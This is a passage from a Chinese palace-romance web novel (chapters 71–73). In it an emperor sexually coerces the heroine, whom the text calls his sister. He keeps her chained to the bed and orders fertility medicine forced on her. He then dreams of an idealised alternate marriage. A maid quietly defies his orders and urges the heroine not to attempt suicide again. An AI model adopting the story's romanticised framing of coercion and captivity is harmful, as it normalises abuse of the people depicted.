因他伏在媜珠身上的这个姿势,胸口和臂膀上没出的血迹大半又沾到了媜珠的身子上,弄得两人肌肤间全是一片黏腻的血迹,还沾染了丝被枕榻,整个场景看上去格外唬人。
直到这时,周奉疆还有闲心去逗弄媜珠:“上次咱们榻上这么多血,是在什么时候?不错,那倒真是你初夜那晚了。朕至今回味不尽呢。”
事毕,周奉疆一身暴戾之气地从媜珠身上起来,取过凌乱扔在大床上的亵裤套上,赤着精壮紧实的上身下了榻。
他唤佩芝进来收拾,佩芝疾步入内,看清皇帝这满是狼藉血痕的上半身,又是被惊天劈地地吓了一大跳,差点当场晕死。
她忙道:“婢这就叫人去传王医丞来给陛下处理伤口。陛下……呀,陛下还被这猫儿给抓伤了?这猫儿伤了陛下龙体?!”
宫里伤过人的猫犬会是什么下场,自不必多说。
尤其是还敢这般抓伤皇帝的猫。
皇帝叫人跑到波斯去把它的猫家九族抓来一起处置了都不为过。
佩芝赶忙道:“这猫儿必是发了猫瘟!留不得它了!竟敢伤了陛下,可否要婢将它捉了,先送去兽苑里看管起来?”
皇帝冷笑:“这殿里伤人的母猫就它一只?龙床上还有一只呢,难道都能一块抓了?难道她也是犯了猫瘟?由她们去罢!”
以前媜珠和他动嘴争吵时,他每次都气得半死要惩罚她,这次媜珠真真动手伤他,他倒看似很宽容地没对她怎样。
只是,皇帝泄欲毕,穿戴整齐地离开椒房殿时还是吩咐了两句。
“把那金锁链继续扣到她足腕上去,再有,伺候她承宠后去服坐胎药。她若不听话,就按从前宫规先例处置她那当闺女一样的宝贝猫去。”
“朕还是对她太忍让了。从今日始,她一日怀不上子嗣,就别想再踏出这椒房殿半步。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
70-80
第71章
周奉疆是回到宣室殿后才召来王医丞给他处理的伤口。
王医丞对皇帝身上这些乱七八糟的伤看得也是目瞪口呆,最让他摸不清头脑的是,这怎么连猫抓痕都有呢?
他悄悄腹诽,也不知这堂堂天子深更半夜的是不是做耗子去了,否则怎么除了被女人伤了之外,连猫儿也要上去抓他两下?
王医丞一面为皇帝处理伤口,一面又委婉规劝皇帝别动怒,说您这一动怒,体内血气涌动,更不容易止血了。
可周奉疆怎么能不怒?
他现在想到周媜珠就气得恨不能把她生吞活剥了,他如何能不怒?
处理完伤口后,王医丞又按着流程劝了几句,全是些叫皇帝这几日养伤时勿怒勿气之类的套话,也不在意皇帝能不能真的往心里去,这便俯身退下了。
这一夜周奉疆带着浑身怒火好不容易勉强睡下时,他仍在重复地纠结着那个困扰了他多年的问题。
——媜珠为什么不爱他?媜珠怎么样才能爱上他?
不知是否是他当真因此执念太深,深到快要走火入魔的地步了,这天夜里,他做了一个梦。
他首先梦到的人并不是媜珠,而是他自己的父亲,生父。
这么多年来,其实周奉疆对自己的生父知之甚少,但他似乎对这个人也并不感兴趣。
哪怕是后来在扬州再度寻到他的生母时,他都没有与生母追问自己父亲的事情。
他的父亲姓什么、名什么?是何方人氏?祖辈在何处?
他毫不关心。
但在这个夜晚里,周奉疆却第一次梦见了这个他以为对他来说并不重要的人。
其实他曾经偶尔也会思考过一个问题,如果当年他的父亲没有死在战场上,那么他后来的人生会是什么样的?他的家会变成什么样?他还会遇见媜珠吗?
在这个梦里,周奉疆得到了答案。
起先,那是一只破空刺来的箭矢。
这一世,二十八年前,周奉疆的生父没有躲过它,他被它一箭射穿了脖颈,以一个无名小卒的身份战死沙场。
然而梦中的那一世,他躲了过去。这枚箭矢堪堪从他的耳边呼啸而过,深深地扎进了尘土地里。
他不知道的是,从这一刻开始,许多事情都将变得不一样。
他颇为心惊胆战,又暗自为自己这一次的好运而窃喜不已。
他是魏州节度使麾下前锋军中的一名步兵。
他叫李嶂。
这一仗魏州节度使打赢了,而他又还非常幸运地在战场上杀了几个敌军的小兵,又与同袍配合着围杀了对方的一个小军官。
是以,在战事结束后,他还被升了个小官,得到了许多赏赐。
正巧他妻子郑氏才为他生下一子,李嶂人逢喜事精神爽,趁着休假时赶回家乡看望妻子与孩子。
他带回了一笔丰厚的赏银,给产后的妻子添置了两样金首饰,裁剪了几身新衣,又一连杀了好几只鸡给妻子补身体,把生产不久的妻子与才几个月大的儿子全养得白白胖胖,羡煞村中众人。
这一年,他的人生充满了希望。
于是,他还特意花钱请来了村里的一个教书秀才,让秀才给他儿子取个大气的名字。
秀才沉吟片刻,写下了“伯骧”两个字。
李伯骧。
他们夫妇二人的第一个孩子,他们的长子。
随后,李嶂带着妻儿一起前往了军营,因为他现在已经是个小军官了,在军中附近自然有本事安置间房舍给一家人居住。
妻子在那里带着孩子、操持家中琐事,而他则在军中效力卖命,挣得的军饷赏银全交给妻子看管,一家人的日子愈发蒸蒸日上,夫妻恩爱和睦,儿子茁壮长大,看得旁人唯有眼红的份。
李嶂其实是个很有本事的武人。
而乱世简直就是武人发家的天堂。
不过几年的时间里,靠着他征战的军功,他很快已经在军中成了个说得上话的小军官了。
他换了新宅,成了将军,妻子做了将军夫人,家里还买了十来个奴婢伺候,他们李家俨然已经从昔年的农户贫寒之家翻身做了人上人。
他并未纳妾,而妻子郑氏随后又为他生育了几个儿女,家里也愈发热闹了起来。
虽则儿女越来越多,然李嶂最疼爱、最器重者,还是自己的长子李伯骧。
当儿子稍大些后,再有出去打仗的时候,李嶂都会带着李伯骧一起,就是为了借机历练自己的儿子。
及至李伯骧十六岁那年,他的父亲李嶂已成了魏州节度使麾下的心腹副将,在魏州亦颇有几分权势。
而李伯骧则承袭了他父亲的路子,亦在乱世中投身军旅,年纪轻轻便杀伐果断,勇武无二,成了魏州军中最年轻的将军。
五年后,李伯骧二十一岁,正是少年意气风发的年岁。
这一年,隔壁的冀州节度使周鼎突发中风病逝,整个北地冀州顿时失了主心骨,乱成了一锅粥,他的一群儿子兄弟们也是只顾着大打出手互相残杀,再无人理会外边的重重敌人对冀州虎视眈眈。
魏州节度使见难得的天赐良机,遂发兵急攻冀州,遣副将李嶂与其子李伯骧为前军。
不过两月,冀州城破,盘踞冀州一百多年的周氏一族,瞬间沦为了阶下囚,就此灰飞烟灭。
攻冀州城前,魏州节度使乃在军中笑曰:“素闻周鼎有一爱女名唤媜珠,容貌倾城,冀州人称其色冠北地三十州。只等冀州城破,北地三十州为我所有,这北地第一美人也要为我所有,与我做暖床姬妾正堪得宜,哈哈哈哈!”
周媜珠。北地第一美人。
这个名字便因此第一次进了李伯骧的耳中。
而他不以为意,正坐于席中与同僚闲谈,漫不经心。
魏州军攻入冀州城后,自然要将冀州城中珍宝与美女等洗劫一空,魏州节度使家的大郎听说周媜珠貌美,心中也痒痒得狠,想趁乱在自己父亲之前找到这第一美人,将她藏于自己屋内受用起来。
这件事,他交给了李伯骧去做。
这位大郎还连连重重拍了拍李伯骧的肩膀说:
“兄弟,这事儿我也就交给你办才放心!你且安心,你为我办了这事,等来日我做了魏州节度使,好处必少不了你的!”
左右不是什么大事,李伯骧虽有些瞧不上他这好色的下流做派,但也答应了下来。
然,当他找到这位周三娘子时,她垂泪正欲殉节,哭得梨花带雨,身上犹是一身白衣缟素,还正为她亡父戴孝。
李伯骧正是雄心壮志、一心只欲在战场谋就功业的年纪,虽则他已有二十一岁,但至今无心娶妻,连妾室也没纳,更是从未沾染女色,自然十分不解风情,整日舞刀弄枪,对美人的泪也毫无怜惜。
他甚至还觉得她哭得令人心烦,冷声命自己的手下把她悄悄地弄走。
周三娘子奋力抵抗,誓死不从,一心要殉死。
可是在这一刻,李伯骧忽然又对她心软了。
他是不解风情,可她的确太美,他有眼睛,能看得出来。
这样有气节又烈性的美人,若叫节度使家那个草包猥琐货色给玷污了……
身为男人,他还真觉得有点天理不容。
于是,李伯骧鬼使神差地救下了她,连带着她那侥幸活下来的母亲赵氏,将她们母女一起偷偷私藏了起来。
等回头和节度使家大郎复命时,他也满口扯谎,只说周媜珠早被旁人掳走,不知所踪。
那大郎虽怀疑是被李伯骧见色起意给私藏了,可他自己也是心虚,害怕事情闹大,只能咽下这个哑巴亏,不敢和李伯骧计较。
战事结束后,跟随着大军凯旋,李伯骧也将周媜珠母女悄悄带回到了魏州。
他准备找个地方默不作声地把这对母女放了,给她们一笔钱,叫她们自寻生路去。
然而,还不等李伯骧着手安排此事,另一件更重要的事将他的计划全都打乱了。
——他父亲李嶂带着他一起造了魏州节度使的反。
他们李氏父子兵变夺权,一朝叫魏州改姓了李。
不过几日之间,魏州节度使家的大公子一下变成了李伯骧自己。
忙完这一茬琐事、再将整个魏州的局势控制下来后,转眼已过了三四个月。
李伯骧这才想起来被他随手打发进别苑的周家母女。
他于是抽了个空去寻周媜珠与她母亲,想着把她们给送走。
可令他没想到的是,周媜珠的母亲赵夫人不知何时早已从别苑中跳了出来,嚷嚷着寻到了他父亲李嶂和母亲郑夫人跟前,三人高高兴兴说成了一桩婚事,说要把周媜珠许给他为妻。
李伯骧当时便错愕得说不出一句话来。
但他的父母却对这桩婚事无比满意,父亲的看法很简单:“周氏女有容色,堪配我儿,来日生下的儿女肯定漂亮!当日你偷藏她回来,想必对她也是动心的吧?哈哈哈哈!”
母亲郑夫人则是满脸从长计议、精打细算的神色:
“哎呦,人家从前可是馆陶县主,俪阳公主的孙女,也是凤子龙孙的血脉,那琴棋书画、四书五经、女红针黹,比洛阳的公主们教养得还精细!况且又是极懂事温顺的女孩儿,若不是周家败落了,若不是你父亲一生走了这样的大运,我们李家的门第哪里配娶得这样的女孩儿!做你的春秋大梦去吧!你这不孝子还不知足!你们父子皆粗俗武夫,哪里懂得这些!”
其实李伯骧知道周媜珠大抵是不愿意的。
在周家败落之前,她有她自己的情郎、她的未婚夫河间王张道恭。只可惜的是,在冀州城破前,河间王自己逃离了冀州回到洛阳,并未带上她。
虽然他抛弃了她,可她的心也还在为那个男人伤心。
而他呢?
他自认醉心建功立业、宏图霸业之中,对娶妻生子之类的琐事也是可有可无,并不放在心上。
然而两家的长辈则早就把此事拍板下来了。
这边的李嶂、郑夫人满口愿意。
那边的赵夫人如今更是只有一百个愿意的。
婚姻之事,父母之命媒妁之言,为人儿女也不得有悖逆。
于是乎,几个月后,李伯骧承父母所命,风风光光迎娶了周媜珠为妻。
新婚夜,他一开始连周媜珠的盖头都懒得去揭,只站在她榻前对她说:
“我既娶了你,日后你就是李家宗妇,衣食住行我不会亏待了你,想要什么首饰、缺什么衣服、短了银钱用,你打发人告诉我一声就行。我不在家的日子里,你能替我好好孝顺长辈就行,其余诸事我对你并无要求。至于子嗣——以后父母若是问起,你就说是我的缘故。”
说罢他就转身离开,这一夜只准备在地上将就一番,并不准备去碰这个心中早有别的情郎的无辜女孩儿。
可是周媜珠伸手牵住了他的衣袖。
红盖头的遮蔽下,他看不清她的容颜,却能清晰听见她哽咽的哭声:
“夫君是不喜欢妾吗?可妾是真心想嫁给夫君为妻的。妾想替夫君好好孝顺长辈,也想为夫君生育子嗣,夫君为什么这么嫌弃妾呢?是妾哪里做的不好吗?”
李伯骧微愣:“你为什么想嫁给我?”
他的新娘低声说:“夫君是雄伟男子,妾心慕之。夫君对妾和母亲还有救命之恩。况且……这数月以来,夫君对妾都是以礼相待,未有半分轻薄,妾……妾心生感激,妾……”
他听明白了。
这是个久负盛名的大美人,有个男人趁着她遭难得到了她却对她的美色毫不感兴趣,大美人感动不已,因此认为对方可堪托付终身,现在是非要献身。
李伯骧有些无奈地哂笑:“所以你以为我是什么好人?周媜珠,我不是。我也是个恶人,你会失望的。——松手,今日你也累了,睡吧。”
周媜珠仍是不依不饶:“夫君和妾拜堂成亲过的,您不能不要妾,至少,您应该把妾的盖头揭了。”
李伯骧挑眉:“好啊。”
他揭开她的盖头,而后就猝不及防看见了一张美得简直动人心魄的脸。
这份盛妆的美丽,是她执意要献给他的。
周媜珠望着他的眼睛,低声款款道:“乱世之中,妾身浮萍,妾已认定您做妾的丈夫。不论您是好人还是恶人,您都是我的丈夫。我想永远陪在您身边,好吗?”
李伯骧沉默了。
一夜春宵,醉倒温柔乡。
婚后的时日里,身为李家长媳的周媜珠过得顺风顺水,安宁无忧。
公婆待她是极好的,婆婆郑氏尤为喜爱她,家中的小叔子小姑子们得了公婆和她丈夫的教导,对她这个长嫂也是恭恭敬敬、不敢有半分怠慢。
而李伯骧对她也是温和的,和她说话时也是轻声细气的。
她没有一切不开心的事。
成婚之初,年轻夫妻间其实多少还是有些磕磕碰碰的,彼此也有过些不高兴的时候。
不过李伯骧从不对媜珠发脾气,媜珠也不会和他吵闹,有什么不痛快的事,两个人当面也能说清楚,不用在床头吵架,到床尾就消气了。
婚后第三个月,她便怀了身孕。
她与李伯骧夫妻之间情意亦愈发深厚了起来。
李家没有纳妾的习惯,她公公李嶂就没纳过妾,等到媜珠有孕不能侍奉丈夫,婆婆也半个字不说要给她儿子纳妾的事情。
而李伯骧也早就对她说,他一生只会有她一个女人。
整个孕期里,媜珠过得都很舒服。
十月怀胎后,她挣扎在产榻之间,为李伯骧生下了一子。
所有人都很高兴。
媜珠也很高兴。
后来公爹和丈夫时常征战在外,媜珠也会有数月数月的独守空房的时日。
她虽会思念丈夫,却并不抱怨。
在外面,丈夫和公爹打拼江山霸业;在家中,她掌管家事,侍奉婆母、教养弟妹、抚育幼子。
她所付出的,得到了丈夫与婆家阖家上下的称赞与敬重。
她是幸福的,快乐的。
乱世之中,他们夫妻相互扶持,携手共进。他们是彼此永远的依靠。
战场瞬息万变,李家父子也吃过几场败仗,也有过失意狼狈的时候。
只要媜珠在,媜珠总会温柔地靠在李伯骧身边,抱着他,陪他度过愤怒与不甘的时光。
李伯骧常常会在情绪平复之后握住媜珠的手,轻声叹息说:
“我不过一粗鄙武人,幸得有如此佳妇,才能助我有往后的功业。”
婚后的第四年,媜珠偶然病了一场,李伯骧第一次露出了那样万般慌乱的神情。
他终于在她榻前对她说出了那个“爱”字。
他说他爱她,现在的她对他而言不仅是妻子,是他毕生所爱,他不能没有她。如果没有她,他这一生又该如何走完?他的余生还有什么欢愉?
媜珠微笑着握住丈夫的手:“你对我不公。当年冀州城破,你救下我的那一刻我便爱上你了。可你四年后才爱我。是你欠我的。”
李伯骧连声应下:“是我欠你的,你要好好的,我用我的寿数还给你。”
几日之后,媜珠痊愈如初,并无大碍。
几年后,李家称帝。
她的丈夫成了太子,而她则是太子妃,她的母亲赵夫人被封为秦国夫人。
他们搬去了长安,终于可以长久地夫妻厮守在一起。
在长安的第二年,他们的独子六岁那年,媜珠又为李伯骧生下了一女。
她的儿子被封为皇太孙,她的女儿在自己父亲还是太子时就被祖父直接封为汉国公主。
彼时曾有人进言天子李嶂,说如此厚封孙子孙女并无前例,恐怕是否僭越呢?
可天子与郑皇后却回道,太子妃周氏数年以来持家谨严,上侍公婆、下教弟妹,又养育儿女,劳苦功高,厚封周氏儿女,不过是聊以嘉奖他们生母在李家的辛苦而已。
后来的漫漫岁月里,她在一生顺遂中与李伯骧走完了一生。
不知是否巧合,李伯骧驾崩在了媜珠前头,而且是比她早死了四年。
他死后,她静静地做了四年的皇太后,然后也无病无灾地在睡梦中阖上了双眼,再也没有睁开。
死后,他们合葬于属于他们的狩陵。
这一生,他都是爱她的。
最开始,他待她以“礼”,后来成为夫妻,他待她以“敬”。
最后才是爱上她。
这个梦境到此为止。
周奉疆醒来后浑身冒出了一层的冷汗。
第72章
这样的一场美梦,对这个时代的任何男人来说都可以算是美满至极了。
对周奉疆来说也不例外。
那梦里的一切,其实皆是他嘴上不肯承认的、他今生最求之不得的东西。
可是当从梦中醒来后不久,他有些恍惚又怅然若失地在黑暗中睁着双眸,眼神不知聚焦在殿内的哪个角落上时,这梦中的一切又以胜过雪花消融般的速度在他头颅中消散。
很快他便快要将这梦中的许多细节忘得干干净净了。
父母的姓名与容颜,那些和父亲一起出征在外的日子,他们父子携手打过的一场场战役,家中母亲的温柔微笑和对他的声声叮嘱,弟弟妹妹们的活泼可爱,自己年少的意气风发……
还有他在那个梦里认识的、见过的人,他的师傅、好友、同僚,他身边信得过的心腹、奴仆,他们是谁?他和他们是如何相识的?
他都记不清了。
仿佛这一切从未发生过,他也从未梦见过这些,连那个叫“李伯骧”的人到底是否真的存在过,他也有些犹豫了起来。
甚至他最疼爱的一双儿女……
他的女儿,她被他封为了什么公主?他为她取了什么名字?她享有自己所赐的多少封邑与年俸?他将她嫁给了自己精挑细选的哪个驸马?她是多少岁出嫁?女儿的婚仪上,他和他的妻子又是何等不舍与动容?他们有没有落泪?
他的儿子,他是何时出生的?他的名字是谁取的?他长着什么模样?他是什么样的性情?他是一个合格的储君、皇帝吗?
他都记不得了。
又过了片刻后,他隐隐作痛起来的头颅几乎连他在梦里有过几个孩子、是男是女也快记不清了。
梦中的一切仿若美满异常,是上天亲自为他编织的一场虚境。
梦醒后,所有一切都不能在人的脑海中留下,连那虚无的欢愉也要被收走。
他的心涩涩地抽痛起来,又好似什么地方被人生生挖走了一块,留下无尽的恍惚与惶然。
而他唯一记得的,是媜珠。
初见时她望着他留下的泪,再见面是他们的洞房花烛夜,她精心妆饰的盛妆容颜,她那令人惊心动魄的美。
她怀上第一个孩子时,他将她抱在怀中亲吻她的额头,问她是不是很辛苦。
媜珠柔柔地对他微笑,她说,为他生孩子、为他养育儿女,她不觉得痛苦。
孕中她柔软的腹部日渐隆起,逐渐滚圆起来,他伸手抚摸着她的肚皮,感受着那孩子强劲有力的胎动。
成婚后他外出打仗,他们婚后的第一次分别,对彼此俱是思念不已。后来待他归家,他们厮混房中数日不曾外出见人。
再后来又有了第二个孩子,他们终于有了个女儿……应该是女儿吧?
女儿的满月宴上,身为太子妃的她雍容而美丽,他抱着女儿,而她含笑望着他们父女。
及至最后,是他终于老矣,江河日下,在榻上回光返照的最后一刻,他握着她的手,让她不必为他伤心,让她安心去做皇太后,好好地享受着儿孙的供养,他希望她永远是无忧无虑的、高高兴兴的。
年华老去的媜珠伏在他榻边,泣不成声,一遍一遍地念着他的名字,对他说,你别离开我。你别离开我,我不能没有你。
纵使有儿女双全、儿孙满堂、无上尊荣、万般美满,可我不能没有你。
她平安顺遂地做了十年的太子妃,五十年的皇后,却只做了四年的皇太后。即便儿女孙辈们使劲浑身解数孝顺她、讨她欢心,终是再难在他死后让她展颜一笑。
有关媜珠的一切,即便只是昙花一现般地出现在他梦中,周奉疆也难以忘怀。
但凡关于她,他都记得清清楚楚。
或许这就是他的命,他的一生里什么也剩不下,唯独只有媜珠。
唯独只有她。
周奉疆长长呼出一口气。
听得皇帝似是醒来,倪常善小心地唤了一声陛下,询问是否要为皇帝点起烛灯。
周奉疆默了默,一手抵着额头,出声吩咐倪常善:“……去叫王医丞来,让他给朕煮一碗安神汤药。”
这是他这么多年来第二次要安神汤助眠的。
第一次还是在多年前媜珠坠楼的那段时日里,他一连数日数日的不敢闭眼,到最后连入眠全成了困难,一闭上眼睛就会看到媜珠坠楼那一刻的样子。
他声音里都透着疲惫与倦怠,似乎的确是心神不宁。
深夜被拎起来的王医丞很快便抓好了药方亲自端了过来。
周奉疆还是那副倦容,静静地靠在床头栏杆上闭目养神。
王医丞将汤药端来,他也没细问什么便端起饮尽了。
等皇帝服过了药,王医丞又一脸谄媚、似乎十分殚精竭虑为皇帝着想的忠臣模样,压低了声音再端来另一碗汤药:
“陛下,此乃臣竭心为陛下所拟的方子,乃红参鹿茸肉苁蓉枸杞红枣杜仲黄芪茯苓汤,哦,又叫八神汤,可为陛下补益精血、滋养肾气的。”
八神汤有没有用,周奉疆又没尝过他怎么知道?
但王医丞的安神汤的确有大用。
至少,周奉疆在喝完那汤药后,听到他一连串报出来的什么鹿茸肉苁蓉之类的药材时,他的心悸之症已经彻底好了。
神思也不劳累了,心力也不倦怠了。
——怒气也立马窜上来了。
他脸色大变,立刻皱眉怒斥王医丞:“一派胡言、悖语乱词!谁让你自作多情在这胡言乱语的!朕何时让你去端这样的汤药来的!朕何时说过朕要补益精血肾气的!你再敢妖言惑君,朕立刻就把你拖出去打板子!”
王医丞唯唯诺诺口称不敢,又把那汤药高举头顶拼命往皇帝跟前递,存心还要气一气皇帝似的:
“陛下!陛下,臣也是为陛下圣体所思虑,臣都是为了陛下好啊!陛下才方临幸后妃,又负伤见血,夜里自然难免心悸,陛下以为只要一碗安神汤即可,可臣为医者,臣自知陛下圣体所亏空,是故臣……”
周奉疆被他气得快把胸口那个媜珠刺出来的血洞给裂开了。
他厉呵王医丞:“朕算是知道古往今来那么多天子受天下之养、为何还多有壮年而崩者了!竟是被你们这些逆臣给气的!你在这沽名钓誉自以为忠君直谏些什么呢!你端这药就是来气朕的吗?你昨日才给朕切过脉象,朕正当壮年,身体健壮,朕要不要喝这些汤药你还不知道?”
这老匹夫,让他夜里起来给他熬一碗安神汤,不知是吵了他多大的美梦,他就要妖闹这么大一篇文章做戏来惹他生气。
偏偏他这副姿态,周奉疆还真不好真拿他怎么办。
要不是暂且寻不到比他医术还高深精湛的医者,周奉疆哪会容忍他这么多次。
且等着吧。
江山代有才人出,何时再寻到比他更好的医者,他立刻就叫这老匹夫滚出长安去,滚回他老家下田犁地去。
怒气渐渐平息些后,周奉疆想起件事,又问他:
“你平日也照看着皇后的身子,朕已停了那男子避子的汤药了,你看皇后的身子何时能有孕?要不要再给她添置些药膳补一补?”
王医丞放下那八神汤,捋着胡须沉吟道:
“陛下,这子嗣一事上从来也不能只看皇后娘娘一个人。陛下虽停了那药,可圣体残存的凉气还在,多少还有些断断续续的影响。恐怕、恐怕还要等上半年后才算无碍。”
“半年后?”
“是,陛下。”
如今已是五月中,从他停药开始算起,也还要再等三个月,至少要到今年八月后媜珠才能……
周奉疆吐出一口浊气。
“朕知了,你下去吧。——带着你这什么八神汤一起滚下去。”
王医丞走后,倪常善入内给皇帝添置了热茶,见皇帝似是怒气未消,他犹豫再三还是劝慰了皇帝一句:
“陛下,陛下勿怒,王医丞侍奉陛下多年,此举也是真心为陛下圣体所虑,并非存心想要触怒陛下的。”
周奉疆听了这话怒气犹存:“这是你想喝了?——倪赐清,去,去把那老匹夫追过来,把那汤端来给你干爹喝了!”
倪常善也连忙告罪:“陛下息怒,这话是奴婢说得不应当!奴婢罪该万死!”
一,王医丞知道皇帝不需要,但为了存心气气皇帝对他们太医署隔三差五的训斥和蹂躏,他还是把那汤药端来了。
二,王医丞不是存心想气皇帝的,他是真心为皇帝考虑,他是真心觉得皇帝需要,太需要了,所以他把那汤药端来了。
身为男人,周奉疆宁愿选择第一种。
就当他遇见逆臣了!
至于椒房殿那边,饶是佩芝,此刻也是目瞪口呆地看着这满殿情景,许久说不出一句话来。
见周奉疆走了,灿娘子低低喵呜了几声,很快从紧张的状态中松懈了下来,赶忙又跳进了床帐内趴在媜珠的身边。
佩芝也是这才反应过来,张罗着要给媜珠好生收拾一番。
尽管做好了心理准备,但当真正掀开了床帘,看见那满榻零星沾染的血痕和静静躺在其中的媜珠时,佩芝又是被吓了一跳。
她默默压下这些惊恐,也并不敢声张,只端来热水用巾帕将媜珠身上细细擦拭了一番,给她套上新的寝衣。
媜珠的身体尚未从情潮中和缓过来,还有些瑟瑟地发着颤,可她的眼神又是寒凉而无物的。
所幸这一次她并未被弄伤,肌肤之上除了些指痕外并无什么旁的伤处。
这一次在她身上栽了跟头的还是皇帝。
色字当头一把刀,这道理果真对天下男人全适用,哪怕是皇帝,死在这上头也不奇怪。
床榻上的这些东西是不能拿去洗的,更不好叫旁人知道,佩芝只能命人抱下去悄悄烧了。
灿娘子卧在媜珠身边舔着自己猫爪上的血迹,于是佩芝又用给媜珠擦过身子的巾帕再把它的爪子也顺手擦了擦,灿娘子倒也算温顺地由着她擦,被擦完爪子后,它把自己的爪子递到嘴边又舔了舔,翻个身继续卧在媜珠身边。
佩芝大约是想和缓和缓这殿里的气氛,犹玩笑了一句:“你这瘟猫儿,连天子的龙血也舔过了,想来必要活到高寿上去,岂不和人一般了?”
她这也是一语成谶,灿娘子的猫生确实格外高寿,直到十年后她的旧主琅琊公主周婈珠被放出来时,它仍活于世,并且依旧耳聪目明,活泼可爱,不仅依旧认得周婈珠,甚至还能跳到周婈珠怀里去和她撒娇。
彼时三十五岁的周婈珠看着这只猫,神情又是感慨又是无比复杂。
然,不论佩芝要如何玩笑,媜珠始终神情淡淡,没有丝毫反应。
佩芝只得讪讪地退下。
又两三刻后,她再度入殿内,取来了皇帝上次扣着媜珠的金锁链和一碗热气腾腾的坐胎药。
媜珠看见了,但还是什么反应。她也不能有什么反应了。
佩芝将金锁的一端扣在大床的栏杆上,另一端自然是要锁在媜珠脚腕上的,媜珠眼睛轻轻眨了一下,整个人依旧一动不动。
可是出乎她意料之外的是,佩芝并没有这么做。
她将金锁链的镣铐塞进媜珠盖着的绣被内,轻声与媜珠道:
“陛下不知道的,婢冒死违逆君命,不想将这物什扣在三娘子的身上。倘或哪日陛下再来,娘娘若是听到动静了,再扣上去就是。若是婢瞧见陛下过来了,也会进殿提醒娘娘一声的。”
可她不是皇帝的人吗?不是皇帝派来一边伺候一边监视着她的吗?她不是心向着的皇帝的吗?
她为什么要为她做这些?
佩芝突如其来表现出来的好意,倒令媜珠的神容出现了一丝异样。
然而,佩芝稍后却又端起了那碗坐胎药,又与媜珠说:
“这药三娘子大约也是不爱喝的。婢且先将它倒进那边的痰盂里,明日再悄悄地端出去倒掉。这事儿婢和三娘子心知肚明就是,婢和三娘子一起瞒着陛下,可好?”
说完,她已走到了痰盂边上,轻轻将一碗汤药倒了进去。
媜珠从榻上支起了身体,抿了抿唇,有些不解:“你为我冒这样大的险?等他知道了他必会——”
佩芝笑了笑:“三娘子知道婢是受了陛下君恩的人,陛下昔年在冀州侯府里,也是太后指派婢去照顾陛下的,所以陛下看重婢,婢也要回报陛下。可是……”
她走到媜珠的床榻边,躬下身子靠近媜珠,压低了声音,言语恳切:
“婢本就是太后当年从赵家带来的陪嫁,婢先是太后娘家的家生子,是赵家出来的,然后才去伺候的陛下。陛下对婢有恩情,婢也照顾了陛下多年的衣食住行,赵家给婢的恩,婢尚未还过,如今这般局面……婢想要三娘子好受些。”
原来是这样。
媜珠自嘲地牵唇笑了笑:“何必呢,抗旨不尊、违逆君命可是大罪。你犯不着为我这样。赵家给过你恩情,可你不同样伺候赵家人这么多年?从来只有我们受你的服侍的,哪有你欠主子恩情的道理。”
佩芝忙又道:“那就只有这般吗?婢就不能真心待娘娘好吗?三娘兴许不记得了,也没人和三娘子说过——三娘当年在冀州侯府里刚出生时,吃的第一口奶水还是婢喂的呢!婢也做过三娘几日的乳母,这亲自喂养过的姑娘,哪怕我是奴婢下人,您是主子,说句大逆不道、罪该万死的僭越的话,我还不能在心里拿您当自己亲生的孩子疼吗?”
其实还是真有这么一回事的。
当年赵夫人生媜珠时,因是自己的第一个孩子,又生怕冀州侯府里有旁人包藏祸心,怕自己的孩儿被外面选进来用的乳母们给害了,所以伺候媜珠的乳母嬷嬷们全是在她从赵家带来的陪嫁人口里挑的。
彼时佩芝也刚生过一个孩子,正是有奶水的时候,虽则她按理是照顾周奉疆的,不过赵夫人信任她,还是把她又调了过来,叫她以后就负责喂养媜珠。
佩芝的确喂了媜珠三五日,喂的还很好,偏她在这关口忽犯上了时疾来,医者来看了,说她这时疾是需要吃药调养的。
可她若是一吃药,那自己的奶水就不能再喂给媜珠吃了。
赵夫人便说,我生的媜珠虽然金贵,可没有道理为了她这张嘴就害了你的身子有病不能吃药的,这岂不是作孽。遂赏了佩芝一笔银子,叫她归家养养身子,该吃药就去吃药,好好调养了再过来做事。
等佩芝养完病再回来时,奶水也断了,自不会再去做媜珠的乳母,于是又去照顾周奉疆了。
再后来,这桩小的不值一提的插曲也没人有意提起,就连佩芝侍奉媜珠多年,媜珠居然都想不到自己还曾经吃过她的奶。
听她这样一说,媜珠的神色也有些动容了:“我从前当真一点也不知。”
看她把自己的话听进去了,佩芝又继续劝道,“三娘子若是真念着这点情分,婢有一言劝给三娘子听,还请三娘子当真用心听一听,可好?”
第73章
媜珠能猜到佩芝要对她说什么。
这几年中,为了她和周奉疆之间的这些事,她已经听厌了太多人对她的所谓好言规劝了。
所有人都来劝她,劝她要学会审时度势、要学会知足认命,那个男人已经待你这样好了,他能让你过上这世上最好的生活,你为什么还不满意?
明明她什么也没做错,可这些人却只希望由她来让步,让周奉疆得逞。
为什么从来没人敢去劝周奉疆?为什么他们不去劝周奉疆放手?
大逆不道的人是周奉疆,见色起意的人是周奉疆,违逆人伦的人也是周奉疆。
可最后被人指摘的却是她。
媜珠有些恹恹地撇过了头去:“你别劝了,我如今已是这副模样,也不能再做什么了。他想来就来,想走就走,想怎样侮辱我就怎么侮辱,他还不够吗?我还要听多少劝才算懂事听话?就算他日我腹中真的怀上兄妹乱伦的苦果,我都只能硬着头皮给他把孩子生下来,我还能怎样?”
见媜珠发了脾气,佩芝连忙低声苦劝她:“三娘子!三娘子,婢知道三娘这些时日里过得不高兴。婢并没有说这话的心思,三娘何苦说这样轻贱自己的话,惹三娘这样不快,婢真是也不得好死了。”
她低低地叹气:“婢今日有事想劝三娘,也只为一句话。还想求三娘莫再像当年一般轻贱自己的性命了。三娘……就算不为自己,也要想一想活着的人。当年三娘负气之下从绣楼上一跃而下,摔成了重伤,多少牵挂着您的人,心都给您疼碎了?只恨不得用自己的性命来换给您。——婢再说句罪该万死大逆不道的话了,这千错万错都是男人的错,三娘从前都是被男人逼的,现在又是这样,三娘可千万不能再任性了。”
她是来劝媜珠别再寻死觅活学做轻生那一套了。
毕竟媜珠可是有过这样的旧账案底的,她也不是初犯了。
现在谁也经不起她再学一次旧日的做派。
提起这茬,其实媜珠还是有些恍惚的。
昔年留在身上的伤痛,这些年被周奉疆精细的将养着,早已好得看不出一丝痕迹来了,她也再难回忆起当年坠楼后身体重伤的痛苦来。
但有一件事她却没有问过:当年她受伤昏迷后,她身边的其他人都是怎样的反应?
今天正巧碰着佩芝提起,媜珠便也随口问了一嘴。
佩芝忙不迭道:
